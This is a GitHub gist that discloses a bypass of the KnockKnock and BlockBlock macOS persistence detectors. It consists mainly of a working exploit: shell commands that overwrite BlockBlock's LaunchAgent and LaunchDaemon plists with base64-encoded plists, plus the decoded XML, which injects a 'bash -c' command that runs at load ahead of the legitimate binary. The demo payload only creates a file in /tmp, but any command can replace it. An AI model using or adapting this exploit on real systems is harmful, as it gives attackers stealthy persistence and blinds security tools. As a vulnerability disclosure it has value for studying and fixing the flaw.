Skip to content

Instantly share code, notes, and snippets.

@pwnsdx

pwnsdx/kk.sh

Last active Dec 22, 2018
Embed
What would you like to do?
Bypass KnockKnock (& BlockBlock) LaunchAgents/LaunchDaemons detection (CLI+UI versions) (<=1.9.0, 0DAY)
# Inject malicious datas into BlockBlock plist (will create "pwned-unprivileged" file in /tmp) (unprivileged)
(> ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBbdG91Y2ggL3RtcC9wd25lZC11bnByaXZpbGVnZWQ7IC9BcHBsaWNhdGlvbnMvQmxvY2tCbG9jay5hcHAvQ29udGVudHMvTWFjT1MvQmxvY2tCbG9jayBhZ2VudAlfECFjb20ub2JqZWN0aXZlU2VlLmJsb2NrYmxvY2suYWdlbnQIESc6REpLT1RXtbYAAAAAAAABAQAAAAAAAAAMAAAAAAAAAAAAAAAAAAAA2g==" | base64 --decode) > ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist)
# Inject malicious datas into BlockBlock plist (will create "pwned-privileged" file in /tmp) (privileged)
(> /Library/LaunchDaemons/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBadG91Y2ggL3RtcC9wd25lZC1wcml2aWxlZ2VkOyAvQXBwbGljYXRpb25zL0Jsb2NrQmxvY2suYXBwL0NvbnRlbnRzL01hY09TL0Jsb2NrQmxvY2sgZGFlbW9uCV8QImNvbS5vYmplY3RpdmVTZWUuYmxvY2tibG9jay5kYWVtb24IESc6REpLT1RXtLUAAAAAAAABAQAAAAAAAAAMAAAAAAAAAAAAAAAAAAAA2g==" | base64 --decode) > /Library/LaunchDaemons/com.objectiveSee.blockblock.plist)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>AbandonProcessGroup</key>
<true/>
<key>Label</key>
<string>com.objectiveSee.blockblock.agent</string>
<key>ProgramArguments</key>
<array>
<string>bash</string>
<string>-c</string>
<string>touch /tmp/pwned-unprivileged; /Applications/BlockBlock.app/Contents/MacOS/BlockBlock agent</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>AbandonProcessGroup</key>
<true/>
<key>Label</key>
<string>com.objectiveSee.blockblock.daemon</string>
<key>ProgramArguments</key>
<array>
<string>bash</string>
<string>-c</string>
<string>touch /tmp/pwned-privileged; /Applications/BlockBlock.app/Contents/MacOS/BlockBlock daemon</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
@pwnsdx

This comment has been minimized.

Copy link
Owner Author

@pwnsdx pwnsdx commented Aug 26, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment